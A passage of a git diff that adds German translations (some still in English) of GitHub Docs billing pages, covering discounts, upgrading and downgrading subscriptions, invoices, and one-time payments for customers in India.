+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts
+versions:
+  fpt: '*'
+  ghec: '*'
+type: reference
+topics:
+  - Accounts
+  - Education
+  - Discounts
+  - Nonprofits
+  - User account
+shortTitle: Discounted subscriptions
+ms.openlocfilehash: ba3dc51e5619bc8ef660e3743bd866cfa83337c3
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147573724'
+---
+{% tip %}
+
+**Tipp**: Rabatte für {% data variables.product.prodname_dotcom %} gelten nicht für Abonnements von anderen bezahlten Produkten und Features.
+
+{% endtip %}
+
+## Rabatte für persönliche Konten
+
+Neben den unbegrenzten öffentlichen und privaten Repositorys für Studenten und Universitätsmitarbeiter mit {% data variables.product.prodname_free_user %} können verifizierte Studenten das {% data variables.product.prodname_student_pack %} beantragen, um zusätzliche Vorteile von {% data variables.product.prodname_dotcom %}-Partnern zu erhalten. Weitere Informationen findest du unter [Antrag bei {% data variables.product.prodname_global_campus %} als Studierende*r](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student).
+
+## Rabatte für Schulen und Universitäten
+
+Verifizierte akademische Fakultäten können {% data variables.product.prodname_team %} für den Unterricht oder die akademische Forschung beantragen. Weitere Informationen findest du unter [{% data variables.product.prodname_global_campus %} für Lehrkräfte](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers). Du kannst auch Lernmaterialien für deine Schüler anfordern. Für weitere Informationen besuche [{% data variables.product.prodname_education %}](https://education.github.com/).
+
+## Rabatte für gemeinnützige Organisationen und Bibliotheken
+
+{% data variables.product.product_name %} bietet kostenlos {% data variables.product.prodname_team %} für Organisationen mit unbegrenzten privaten Repositorys, unbegrenzten Benutzern und vollem Funktionsumfang für nachweislich gemeinnützige Organisation (zum Beispiel US 501(c)3) und Bibliotheken. Du kannst einen Rabatt für deine Organisation auf [unserer gemeinnützigen Seite](https://github.com/nonprofit) anfordern.
+
+Wenn deine Organisation bereits ein bezahltes Abonnement besitzt, wird die letzte Transaktion zurückerstattet, sobald der Rabatt für gemeinnützige Organisationen angewendet wird.
+
+## Weiterführende Themen
+
+- „[Informationen zur Abrechnung für {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)“
diff --git a/translations/de-DE/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md b/translations/de-DE/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md
new file mode 100644
index 0000000000..28bbd81e9b
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md
@@ -0,0 +1,105 @@
+---
+title: Downgrading your GitHub subscription
+intro: 'You can downgrade the subscription for any type of account on {% data variables.location.product_location %} at any time.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-your-github-subscription
+  - /articles/downgrading-your-personal-account-s-billing-plan
+  - /articles/how-do-i-cancel-my-account
+  - /articles/downgrading-a-user-account-to-free
+  - /articles/removing-paid-seats-from-your-organization
+  - /articles/downgrading-your-organization-s-paid-seats
+  - /articles/downgrading-your-organization-s-billing-plan
+  - /articles/downgrading-an-organization-with-per-seat-pricing-to-free
+  - /articles/downgrading-an-organization-with-per-repository-pricing-to-free
+  - /articles/downgrading-your-organization-to-free
+  - /articles/downgrading-your-organization-from-the-business-plan-to-the-team-plan
+  - /articles/downgrading-your-organization-from-github-business-cloud-to-the-team-plan
+  - /articles/downgrading-your-github-billing-plan
+  - /articles/downgrading-your-github-subscription
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account/downgrading-your-github-subscription
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Accounts
+  - Downgrades
+  - Organizations
+  - Repositories
+  - User account
+shortTitle: Downgrade subscription
+---
+## Downgrading your {% data variables.product.product_name %} subscription
+
+When you downgrade your personal account or organization's subscription, pricing and account feature changes take effect on your next billing date. Changes to your paid personal account or organization subscription does not affect subscriptions or payments for other paid {% data variables.product.prodname_dotcom %} features. For more information, see "[How does upgrading or downgrading affect the billing process?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)."
+
+## Downgrading your personal account's subscription
+
+If you downgrade your personal account from {% data variables.product.prodname_pro %} to {% data variables.product.prodname_free_user %}, the account will lose access to advanced code review tools on private repositories. {% data reusables.gated-features.more-info %}
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.billing_plans %}
+1. Under "Current plan", use the **Edit** drop-down and click **Downgrade to Free**.
+  ![Downgrade to free button](/assets/images/help/billing/downgrade-to-free.png)
+5. Read the information about the features your personal account will no longer have access to on your next billing date, then click **I understand. Continue with downgrade**.
+  ![Continue with downgrade button](/assets/images/help/billing/continue-with-downgrade.png)
+
+If you published a {% data variables.product.prodname_pages %} site in a private repository and added a custom domain, remove or update your DNS records before downgrading from {% data variables.product.prodname_pro %} to {% data variables.product.prodname_free_user %}, to avoid the risk of a domain takeover. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
+
+## Downgrading your organization's subscription
+
+{% data reusables.dotcom_billing.org-billing-perms %}
+
+If you downgrade your organization from {% data variables.product.prodname_team %} to {% data variables.product.prodname_free_team %} for an organization, the account will lose access to advanced collaboration and management tools for teams.
+
+If you downgrade your organization from {% data variables.product.prodname_ghe_cloud %} to {% data variables.product.prodname_team %} or {% data variables.product.prodname_free_team %}, the account will lose access to advanced security, compliance, and deployment controls. {% data reusables.gated-features.more-info %}
+
+
+
+{% note %}
+
+**Notes:** 
+  - If your organization is owned by an enterprise account, billing cannot be managed at the organization level. To downgrade, you must remove the organization from the enterprise account first. For more information, see "[Removing organizations from your enterprise](/enterprise-cloud@latest/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise)."
+  - If you're currently trialing {% data variables.product.prodname_ghe_cloud %}, and you don't purchase {% data variables.product.prodname_enterprise %} before the trial ends, your organization will be automatically downgraded to {% data variables.product.prodname_free_team %} or {% data variables.product.prodname_team %}. For more information, see "[Setting up a trial of {% data variables.product.prodname_ghe_cloud %}](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud#finishing-your-trial)."
+
+{% endnote %}
+
+{% data reusables.organizations.billing-settings %}
+1. Under "Current plan", use the **Edit** drop-down and click the downgrade option you want.
+  ![Downgrade button](/assets/images/help/billing/downgrade-option-button.png)
+{% data reusables.dotcom_billing.confirm_cancel_org_plan %}
+
+## Downgrading an organization's subscription with legacy per-repository pricing
+
+{% data reusables.dotcom_billing.org-billing-perms %}
+
+{% data reusables.dotcom_billing.switch-legacy-billing %} For more information, see "[Switching your organization from per-repository to per-user pricing](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription#switching-your-organization-from-per-repository-to-per-user-pricing)."
+
+{% data reusables.organizations.billing-settings %}
+5. Under "Subscriptions", select the "Edit" drop-down, and click **Edit plan**.
+    ![Edit Plan dropdown](/assets/images/help/billing/edit-plan-dropdown.png)
+1. Under "Billing/Plans",  next to the plan you want to change, click **Downgrade**.
+    ![Downgrade button](/assets/images/help/billing/downgrade-plan-option-button.png)
+1. Enter the reason you're downgrading your account, then click **Downgrade plan**.
+    ![Text box for downgrade reason and downgrade button](/assets/images/help/billing/downgrade-plan-button.png)
+
+## Removing paid seats from your organization
+
+To reduce the number of paid seats your organization uses, you can remove members from your organization or convert members to outside collaborators and give them access to only public repositories. For more information, see:
+- "[Removing a member from your organization](/articles/removing-a-member-from-your-organization)"
+- "[Converting an organization member to an outside collaborator](/articles/converting-an-organization-member-to-an-outside-collaborator)"
+- "[Managing an individual's access to an organization repository](/articles/managing-an-individual-s-access-to-an-organization-repository)"
+
+{% data reusables.organizations.billing-settings %}
+1. Under "Current plan", use the **Edit** drop-down and click **Remove seats**.
+  ![remove seats dropdown](/assets/images/help/billing/remove-seats-dropdown.png)
+1. Under "Remove seats", select the number of seats you'd like to downgrade to.
+  ![remove seats option](/assets/images/help/billing/remove-seats-amount.png)
+1. Review the information about your new payment on your next billing date, then click **Remove seats**.
+  ![remove seats button](/assets/images/help/billing/remove-seats-button.png)
+
+## Further reading
+
+- "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)"
+- "[How does upgrading or downgrading affect the billing process?](/articles/how-does-upgrading-or-downgrading-affect-the-billing-process)"
+- "[About billing on {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)."
+- "[About per-user pricing](/articles/about-per-user-pricing)"
diff --git a/translations/de-DE/content/billing/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process.md b/translations/de-DE/content/billing/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process.md
new file mode 100644
index 0000000000..e241c9f8ef
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process.md
@@ -0,0 +1,50 @@
+---
+title: Wie wirkt sich das Herauf- oder Herabstufen auf den Abrechnungsprozess aus?
+intro: 'Wenn Du das Abonnement für Dein persönliches Konto oder die Organisation heraufstufst, werden die Änderungen unmittelbar gültig. Wenn Du Dein Abonnement herabstufst, werden die Änderungen zum Ende Deines aktuellen Abrechnungszeitraums wirksam.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/how-does-upgrading-or-downgrading-affect-the-billing-process
+  - /articles/how-does-upgrading-or-downgrading-affect-the-billing-process
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Fundamentals
+  - Organizations
+  - Upgrades
+  - User account
+shortTitle: Billing process
+ms.openlocfilehash: 9908e230f5b34b00ee7e62865a26a4796632c329
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145085692'
+---
+Änderungen an bezahlten Abonnements Deines persönlichen Kontos oder Deiner Organisation wirken sich nicht auf Abonnements und Zahlungen für andere bezahlte {% data variables.product.prodname_dotcom %}-Funktionen wie zum Beispiel {% data variables.large_files.product_name_long %} oder in {% data variables.product.prodname_marketplace %} gekaufte bezahlte Apps aus.
+
+Weitere Informationen findest Du unter „[{% data variables.product.prodname_dotcom %}-Produkte](/articles/github-s-products)“ und „[Informationen zur Abrechnung von {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github).“
+
+## Beispiel für das Kündigen eines kostenpflichtigen Abonnements für ein persönliches Konto oder eine Organisation
+
+Kumiko bezahlt am 5. jedes Monats für ein monatliches Abonnement. Wenn Kumiko am 10. Oktober von dem bezahlten Abonnement nach {% data variables.product.prodname_free_user %} herabstuft, bleibt ihr bezahltes Abonnement bis zum Ende ihres laufenden Abrechnungszeitraums am 4. November in Kraft. Am 5. November wird ihr Konto zu {% data variables.product.prodname_free_user %} wechseln.
+
+## Beispiel für das Ändern eines jährlichen Abonnements in ein monatliches Abonnement für ein persönliches Konto oder eine Organisation
+
+Ravi bezahlt jedes Jahr am 5. Oktober ein jährliches Abonnement. Wenn Ravi am 10. Dezember von der jährlichen auf die monatliche Abrechnung wechselt, bleibt sein Konto bis zum Ende des aktuellen Abrechnungszeitraums am 4. Oktober des folgenden Jahres beim jährlichen Abonnement. Am 5. Oktober des folgendes Jahres wird auf eine monatliche Abrechnung umgestellt. Ravis nächstes Abrechnungsdatum ist dann der 5. November.
+
+## Beispiel für das Hinzufügen bezahlter Benutzer zur Organisation
+
+Die Organisation von Mada bezahlt am 15. jedes Monats für 25 Benutzer. Wenn Mada am 4. Juni zehn bezahlte Benutzer hinzufügt, wird ihrer Organisation umgehend ein anteiliger Betrag für zehn zusätzliche Benutzer für den Zeitraum vom 4. Juni bis zum 14. Juni in Rechnung gestellt und die zusätzlichen Benutzer stehen sofort zur Verfügung. Ab dem 15. Juni bezahlt die Organisation von Mada 35 Benutzer.
+
+## Beispiel für das Entfernen bezahlter Benutzer aus der Organisation
+
+Die Organisation von Stefan bezahlt jedes Jahr am 20. Mai für 50 Benutzer. Wenn Stefan am 30. September diese Anzahl um 20 Benutzer auf 30 bezahlte Benutzer herabstuft, kann seine Organisation noch bis zum Ende des aktuellen Abrechnungszeitraums am 19. Mai die 50 bezahlten Benutzer einsetzen. Am 20. Mai wird die Herabstufung wirksam. Stefans Organisation zahlt fortan für 30 Benutzer und hat 30 bezahlte Benutzer zur Verfügung.
+
+## Weiterführende Themen
+
+- [Verwalten der Abrechnung für dein {% data variables.product.prodname_dotcom %}-Konto](/articles/managing-billing-for-your-github-account)
+- [Verwalten der Abrechnung für {% data variables.product.prodname_marketplace %}-Apps](/articles/managing-billing-for-github-marketplace-apps)
+- „[Verwalten der Abrechnung für {% data variables.large_files.product_name_long %}](/articles/managing-billing-for-git-large-file-storage)“
+- „[Informationen zur benutzerabhängigen Preisgestaltung](/articles/about-per-user-pricing)“
diff --git a/translations/de-DE/content/billing/managing-billing-for-your-github-account/index.md b/translations/de-DE/content/billing/managing-billing-for-your-github-account/index.md
new file mode 100644
index 0000000000..a35c524de0
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-your-github-account/index.md
@@ -0,0 +1,41 @@
+---
+title: Verwalten der Abrechnung für dein GitHub-Konto
+shortTitle: Your GitHub account
+intro: '{% ifversion fpt %}{% data variables.product.product_name %} bietet für jedes Konto kostenlose und kostenpflichtige Produkte. Du kannst das Abonnement deines Kontos jederzeit herauf- oder herabstufen und ausstehende Änderungen anzeigen.{% elsif ghec or ghes or ghae %}Du kannst die Abrechnung für {% data variables.product.product_name %}{% ifversion ghae %}.{% elsif ghec or ghes %} über dein Unternehmenskonto auf {% data variables.product.prodname_dotcom_the_website %} verwalten.{% endif %}{% endif %}'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account
+  - /categories/97/articles
+  - /categories/paying-for-user-accounts
+  - /articles/paying-for-your-github-user-account
+  - /articles/managing-billing-on-github
+  - /articles/changing-your-personal-account-s-billing-plan
+  - /categories/billing
+  - /categories/3/articles
+  - /articles/managing-your-organization-s-paid-seats
+  - /articles/managing-billing-for-your-github-account
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+children:
+  - /about-billing-for-github-accounts
+  - /about-billing-for-your-enterprise
+  - /about-per-user-pricing
+  - /viewing-the-subscription-and-usage-for-your-enterprise-account
+  - /upgrading-your-github-subscription
+  - /viewing-and-managing-pending-changes-to-your-subscription
+  - /downgrading-your-github-subscription
+  - /managing-invoices-for-your-enterprise
+  - /connecting-an-azure-subscription-to-your-enterprise
+  - /how-does-upgrading-or-downgrading-affect-the-billing-process
+  - /one-time-payments-for-customers-in-india
+  - /discounted-subscriptions-for-github-accounts
+ms.openlocfilehash: e305653ca02103ace73f984df9b74436caf63162
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145910647'
+---
+
diff --git a/translations/de-DE/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md b/translations/de-DE/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md
new file mode 100644
index 0000000000..8fb46b540d
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise.md
@@ -0,0 +1,49 @@
+---
+title: Verwalten von Rechnungen für dein Unternehmen
+shortTitle: Manage invoices
+intro: 'Du kannst eine aktuelle Rechnung für dein Unternehmen einsehen, bezahlen oder herunterladen und deinen Zahlungsverlauf einsehen.'
+versions:
+  ghec: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Licensing
+ms.openlocfilehash: 030d91667630445f0811db6e51d5fe33ed863182
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145085684'
+---
+## Informationen zu Rechnungen für dein Unternehmen
+
+{% data reusables.billing.about-invoices-for-enterprises %} Weitere Informationen findest du unter [Informationen zur Abrechnung für dein Unternehmen](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise).
+
+Weitere Informationen zum Anzeigen des Abonnements und der Nutzung deines Unternehmenskontos findest du unter [Anzeigen des Abonnements und der Nutzung für dein Unternehmenskonto](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account).
+
+{% data reusables.billing.ghes-with-no-enterprise-account %}
+
+## Deine aktuelle Rechnung anzeigen
+
+{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %}
+4. Klicke unter „Aktuelle Rechnung“ auf **Rechnung anzeigen**.
+  ![Link „Rechnung anzeigen“](/assets/images/help/business-accounts/view-invoice-link.png)
+
+## Deine aktuellen Rechnung bezahlen
+
+{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %}
+4. Klicke unter „Fällige Zahlung“ auf **Rechnung bezahlen**.
+  ![Link „Rechnung bezahlen“](/assets/images/help/business-accounts/pay-invoice-link.png)
+5. Gib unter „Rechnung bezahlen“ deine Kreditkarteninformationen in das sichere Formular ein, und klicke dann auf **Rechnung bezahlen**.
+  ![Rechnung bestätigen und bezahlen](/assets/images/help/business-accounts/pay-invoice.png)
+
+## Deine aktuelle Rechnung herunterladen
+
+{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %}
+4. Klicke unter „Schnelle Aktionen“ auf **Aktuelle Rechnung herunterladen**.
+  ![Link „Aktuelle Rechnung herunterladen“](/assets/images/help/business-accounts/download-current-invoice.png)
+
+## Deinen Zahlungsverlauf anzeigen
+
+{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.billing-tab %}
+4. Wenn du eine Zusammenfassung deiner bisherigen Abrechnungsaktivitäten anzeigen möchtest, klicke unter „Abrechnung“ auf die Registerkarte **Frühere Rechnungen**. ![Registerkarte „Zahlungsverlauf anzeigen“](/assets/images/help/business-accounts/view-payment-history.png)
diff --git a/translations/de-DE/content/billing/managing-billing-for-your-github-account/one-time-payments-for-customers-in-india.md b/translations/de-DE/content/billing/managing-billing-for-your-github-account/one-time-payments-for-customers-in-india.md
new file mode 100644
index 0000000000..d47b89afa6
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-your-github-account/one-time-payments-for-customers-in-india.md
@@ -0,0 +1,73 @@
+---
+title: Einmalige Zahlungen für Kunden in Indien
+intro: 'Kunden in Indien, die von der Regulierung regelmäßiger Transaktionen durch die Reserve Bank of India betroffen sind, können jetzt Einmalzahlungen für ihre GitHub-Abonnements und -Dienste leisten.'
+redirect_from:
+  - /early-access/billing/india-rbi-regulation
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Billing
+  - Sponsors
+  - Policy
+shortTitle: India one-time payments
+ms.openlocfilehash: 802aadbed65cf4fcb133d82e3ba417c8582be1af
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147111322'
+---
+## Informationen zu der von der Reserve Bank of India erlassenen Verordnung für wiederkehrende Zahlungen
+
+Kürzlich ist eine neue Zahlungsverordnung der Reserve Bank of India (RBI) in Kraft getreten. Gemäß dieser Verordnung werden zusätzliche Anforderungen an wiederkehrende Onlinetransaktionen gestellt. Außerdem verhindert die Verordnung, dass einige {% data variables.product.company_short %}-Kunden in Indien wiederkehrende Zahlungen tätigen können. Kunden, die Zahlungsmethoden verwenden, die in Indien für wiederkehrende Transaktionen auf {% data variables.product.product_name %} verfügbar sind, müssen möglicherweise feststellen, dass ihre Zahlungen von ihren Banken oder Kreditkartenherausgebern abgelehnt werden. Weitere Informationen findest du in der [Pressemitteilung der RBI](https://www.rbi.org.in/Scripts/BS_PressReleaseDisplay.aspx?prid=51353).
+
+Die Verordnung gilt für alle wiederkehrenden Transaktionen, einschließlich der folgenden:
+- Abonnements für {% data variables.product.prodname_dotcom %}-Tarife (Pro, Team, Enterprise)
+- {% data variables.product.prodname_marketplace %}-Käufe
+- {% data variables.product.prodname_sponsors %}-Transaktionen
+- Git Large File Storage-Käufe
+- Nutzung von {% data variables.product.prodname_actions %}-, {% data variables.product.prodname_registry %}- und {% data variables.product.prodname_github_codespaces %}
+
+Zum Minimieren etwaiger Unterbrechungen wurden wiederkehrende Zahlungen für die betroffenen Kunden am 29. Oktober 2021 pausiert. Kostenpflichtige Features und Dienste sind weiterhin für Kunden verfügbar, die von der RBI-Verordnung betroffen sind.
+
+## Informationen zu einmaligen Zahlungen auf {% data variables.product.company_short %}
+
+Da wir mit unserem Zahlungsgatewayanbieter zusammenarbeiten, um die neuen Anforderungen zu erfüllen, bieten wir eine temporäre Einmalzahlungsoption für betroffene Kunden in Indien an. Ab dem 15. Februar 2022 können {% data variables.product.company_short %}-Kunden in Indien, die von der neuen RBI-Verordnung betroffen sind, Einmalzahlungen im Rahmen ihres regulären Zahlungszyklus im Abrechnungszeitraum vornehmen.
+
+### Für Kunden mit monatlicher Abrechnung
+
+Kunden mit monatlichen Abrechnungsplänen können eine Einmalzahlung am selben Tag vornehmen, an dem normalerweise ein neuer Abrechnungszeitraum beginnt. Wenn die Inrechnungstellung z. B. am 7. jedes Monats erfolgt, kannst du jetzt am 7. Tag des jeweiligen Monats eine Einmalzahlung von deinem Konto tätigen. Deine erste Einmalzahlung beinhaltet auch die Beträge für die seit Oktober 2021 angefallene Nutzung.
+
+Wenn du derzeit monatlich eine Rechnung erhalten und auf eine jährliche Abrechnung umstellen möchtest, kannst du die Häufigkeit deiner Einmalzahlungen verringern. Weitere Informationen findest du unter [Ändern der Dauer des Abrechnungszeitraums](/en/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle).
+
+### Für Kunden mit jährlicher Abrechnung
+
+Wenn die Abrechnung in deinem Fall jährlich erfolgt und das Verlängerungsdatum zwischen dem 1. Oktober 2021 und dem 14. Februar 2022 lag, kannst du ab dem 15. Februar eine Einmalzahlung für deine Jahresabonnements tätigen. Diese erste Zahlung umfasst die anteilig verrechneten ausstehenden Kosten deines Abonnements für den Zeitraum seit dem Ende des vorherigen Abrechnungszeitraums.
+
+Wenn dein Abrechnungszeitraum nach dem 15. Februar verlängert wird, versuchen wir, die wiederkehrende Zahlung zu verarbeiten. Wenn der Zahlungsversuch abgelehnt wird, kannst du dann eine Einmalzahlung über die Abrechnungsseite deines Kontos vornehmen.
+
+In der Zwischenzeit arbeiten wir aktiv mit unseren Zahlungspartnern zusammen, um wiederkehrende Zahlungen für betroffene Kunden wieder möglich zu machen. Wenn du weitere Informationen wünschst oder weitere Fragen hast, kannst du dich an den [GitHub-Support](https://support.github.com/contact) wenden.
+
+### Auswirkungen auf {% data variables.product.prodname_sponsors %}
+
+Das bestehende Sponsoring bleibt in diesem Zeitraum erhalten, und die Betreuer werden weiterhin wie erwartet bezahlt. Zahlungen für die aufgelaufenen Sponsorenbeträge aus dem Finanzierungskonto werden zum selben Zeitpunkt wie andere aufgelaufene Gebühren eingezogen.
+
+## Tätigen einer Einmalzahlung für ein GitHub-Abonnement
+
+{% note %}
+
+**Hinweis**: Betroffene Kunden erhalten eine E-Mail-Benachrichtigung mit einem Link zu ihren Abrechnungseinstellungen, wenn die Zahlung fällig ist. Zwei weitere Erinnerungs-E-Mails werden 7 und 14 Tage später gesendet, wenn die Zahlung nicht getätigt wurde. Nach 14 Tagen werden kostenpflichtige Features und Dienste gesperrt, bis die Zahlung erfolgt ist.
+
+{% endnote %}
+
+{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.billing_plans %}
+3. Klicke oben auf der Seite auf **Pay now** (Jetzt bezahlen).
+  ![Schaltfläche „Pay now“ (Jetzt bezahlen) für Einmalzahlung](/assets/images/help/billing/pay-now-button.png)
+4. Überprüfe deine Abrechnungs- und Zahlungsinformationen. Wenn du eine Bearbeitung vornehmen musst, klicke neben dem relevanten Abschnitt auf **Edit** (Bearbeiten). Andernfalls klicke auf **Submit payment** (Zahlung senden).
+  ![Zahlungszusammenfassung für Einmalzahlung](/assets/images/help/billing/payment-summary.png)
+5. Wenn du auf **Edit** (Bearbeiten) geklickt hast, kannst du alle erforderlichen Änderungen vornehmen und dann auf **Submit payment** (Zahlung senden) klicken.
+  ![Bearbeitungszusammenfassung für Einmalzahlung](/assets/images/help/billing/payment-summary-edit.png)
+6. Sobald die Zahlung für den aktuellen Abrechnungszeitraum erfolgreich geleistet wurde, wird die Schaltfläche **Pay now** (Jetzt bezahlen) auf der Seite „Billing & Plans“ (Abrechnung und Pläne) deaktiviert, bis die nächste Zahlung fällig ist.
+  ![Deaktivierte Schaltfläche „Pay now“ (Jetzt bezahlen) für Einmalzahlung](/assets/images/help/billing/pay-now-button-disabled.png)
+  
diff --git a/translations/de-DE/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md b/translations/de-DE/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md
new file mode 100644
index 0000000000..9d40ff9312
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md
@@ -0,0 +1,112 @@
+---
+title: Upgrading your GitHub subscription
+intro: 'You can upgrade the subscription for any type of account on {% data variables.location.product_location %} at any time.'
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-your-github-subscription
+  - /articles/upgrading-your-personal-account-s-billing-plan
+  - /articles/upgrading-your-personal-account
+  - /articles/upgrading-your-personal-account-from-free-to-a-paid-account
+  - /articles/upgrading-your-personal-account-from-free-to-paid-with-a-credit-card
+  - /articles/upgrading-your-personal-account-from-free-to-paid-with-paypal
+  - /articles/500-error-while-upgrading
+  - /articles/upgrading-your-organization-s-billing-plan
+  - /articles/changing-your-organization-billing-plan
+  - /articles/upgrading-your-organization-account-from-free-to-paid-with-a-credit-card
+  - /articles/upgrading-your-organization-account-from-free-to-paid-with-paypal
+  - /articles/upgrading-your-organization-account
+  - /articles/switching-from-per-repository-to-per-user-pricing
+  - /articles/adding-seats-to-your-organization
+  - /articles/upgrading-your-github-billing-plan
+  - /articles/upgrading-your-github-subscription
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-your-github-account/upgrading-your-github-subscription
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Organizations
+  - Troubleshooting
+  - Upgrades
+  - User account
+shortTitle: Upgrade your subscription
+---
+
+## About subscription upgrades
+
+{% data reusables.accounts.accounts-billed-separately %}
+
+When you upgrade the subscription for an account, the upgrade changes the paid features available for that account only, and not any other accounts you use.
+
+## Upgrading your personal account's subscription
+
+You can upgrade your personal account from {% data variables.product.prodname_free_user %} to {% data variables.product.prodname_pro %} to get advanced code review tools on private repositories owned by your personal account. Upgrading your personal account does not affect any organizations you may manage or repositories owned by those organizations. {% data reusables.gated-features.more-info %}
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.billing_plans %}
+1. Next to "Current plan", click **Upgrade**.
+  ![Upgrade button](/assets/images/help/billing/settings_billing_user_upgrade.png)
+2. Under "Pro" on the "Compare plans" page, click **Upgrade to Pro**.
+{% data reusables.dotcom_billing.choose-monthly-or-yearly-billing %}
+{% data reusables.dotcom_billing.show-plan-details %}
+{% data reusables.dotcom_billing.enter-billing-info %}
+{% data reusables.dotcom_billing.enter-payment-info %}
+{% data reusables.dotcom_billing.finish_upgrade %}
+
+## Managing your organization's subscription
+
+You can upgrade your organization's subscription to a different product, add seats to your existing product, or switch from per-repository to per-user pricing.
+
+### Upgrading your organization's subscription
+
+You can upgrade your organization from {% data variables.product.prodname_free_team %} for an organization to {% data variables.product.prodname_team %} to access advanced collaboration and management tools for teams, or upgrade your organization to {% data variables.product.prodname_ghe_cloud %} for additional security, compliance, and deployment controls. Upgrading an organization does not affect your personal account or repositories owned by your personal account. {% data reusables.gated-features.more-info-org-products %}
+
+{% data reusables.dotcom_billing.org-billing-perms %}
+
+{% data reusables.organizations.billing-settings %}
+{% data reusables.dotcom_billing.upgrade_org %}
+{% data reusables.dotcom_billing.choose_org_plan %}
+{% data reusables.dotcom_billing.choose-monthly-or-yearly-billing %}
+{% data reusables.dotcom_billing.show-plan-details %}
+{% data reusables.dotcom_billing.enter-payment-info %}
+{% data reusables.dotcom_billing.owned_by_business %}
+{% data reusables.dotcom_billing.finish_upgrade %}
+
+### Next steps for organizations using {% data variables.product.prodname_ghe_cloud %}
+
+If you upgraded your organization to {% data variables.product.prodname_ghe_cloud %}, you can set up identity and access management for your organization. For more information, see "[Managing SAML single sign-on for your organization](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+
